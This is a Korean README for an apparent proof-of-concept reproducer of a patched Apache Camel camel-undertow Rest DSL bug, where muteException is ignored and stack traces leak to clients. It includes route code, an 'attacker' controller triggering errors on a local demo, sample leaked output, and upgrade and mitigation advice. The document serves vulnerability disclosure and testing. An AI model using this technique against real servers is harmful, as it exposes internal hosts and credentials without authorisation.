
CVE-2026-56139(Apache Camel camel-undertow Rest DSL)용 PoC 재현 코드: Rest DSL 바인딩이 muteException=false를 하드코딩하므로 muteException=true로 구성해도 무시되고, 포착되지 않은 예외의 전체 스택 트레이스가 클라이언트에 반환됩니다(CWE-209). 4.14.8/4.18.3/4.21.0에서 수정되었습니다.
이 프로젝트는 Apache Camel의 camel-undertow Rest DSL에서 정보 노출 문제를 시연하며,
CVE-2026-56139로 추적됩니다. muteException 옵션은 처리되지 않은 예외의 세부 정보를
HTTP 클라이언트에 반환할지 여부를 제어합니다. 일반 undertow 엔드포인트에서는 옵션이 작동하지만,
undertow Rest DSL은 muteException이 하드코딩된 false인 응답 바인딩을 생성하고 구성된 값을
복사하지 않으므로, REST 모드에서는 muteException이 조용히 무시되고 전체 Java 스택 트레이스가
그대로 반환됩니다:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
엔드포인트의 undertowHttpBinding이 이제 null이 아니므로 은
해당 Rest 바인딩을 그대로 반환하고 엔드포인트의 을 복사하는 분기를 실행하지 않습니다. 따라서
를 명시적으로 설정한 라우트도 Rest DSL을 통해 서빙될 때 스택 트레이스를 유출하며, 이는
내부 백엔드 호스트명, 데이터베이스 URL, 자격 증명/볼트 힌트, 라이브러리 버전 및 소스 위치를 노출합니다.
UndertowEndpoint.getUndertowHttpBinding()muteExceptionmuteException=true이 PoC는 오류 메시지를 통한 정보 노출(CWE-209) 로서의 영향을 보여줍니다. 이는
일반 camel-netty-http 및 camel-undertow 엔드포인트의 muteException 기본값을 수정한 CVE-2026-49365에 대한
Rest-DSL 특정 대응입니다. 둘 다 CAMEL-23651에서 함께 수정되었습니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-undertow (Rest DSL 컨슈머) |
| 영향받는 클래스 | org.apache.camel.component.undertow.UndertowComponent — muteException을 복사하지 않고 RestUndertowHttpBinding을 생성하므로 (기본값이 false가 됨) |
| CWE | CWE-209 (민감한 정보가 포함된 오류 메시지 생성) |
| 영향 | muteException=true가 구성된 경우에도 인증되지 않은 클라이언트에게 전체 Java 스택 트레이스가 반환됨 |
| 전제 조건 | undertow Rest DSL 컨슈머; 처리 예외를 유발하는 모든 요청 |
| 영향받는 버전 | 4.0.0부터 4.14.8 이전, 4.15.0부터 4.18.3 이전, 4.19.0부터 4.21.0 이전 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| 크레딧 | Yu Bao (PayPal) |
이 수정은 Rest DSL 경로가
endpoint.getMuteException()을RestUndertowHttpBinding에 복사하도록 하여, Rest DSL이 해당 설정(및 수정된 기본값true)을 존중하게 합니다.
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
4.14.8 / 4.18.3 / 4.21.0(CAMEL-23651)로 업그레이드하세요. 업그레이드 후에는 undertow Rest DSL이
muteException을 존중하며(기본값은 true), 스택 트레이스가 반환되지 않습니다.
업그레이드할 때까지 스택 트레이스 대신 일반 메시지를 반환하는 onException(...).handled(true)(또는 전역 오류 핸들러)를 추가하고,
undertow Rest DSL 컨슈머에서는 muteException만 신뢰하지 마십시오.
이 재현기는 공개적으로 공개되었고 수정된 취약점에 대해 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.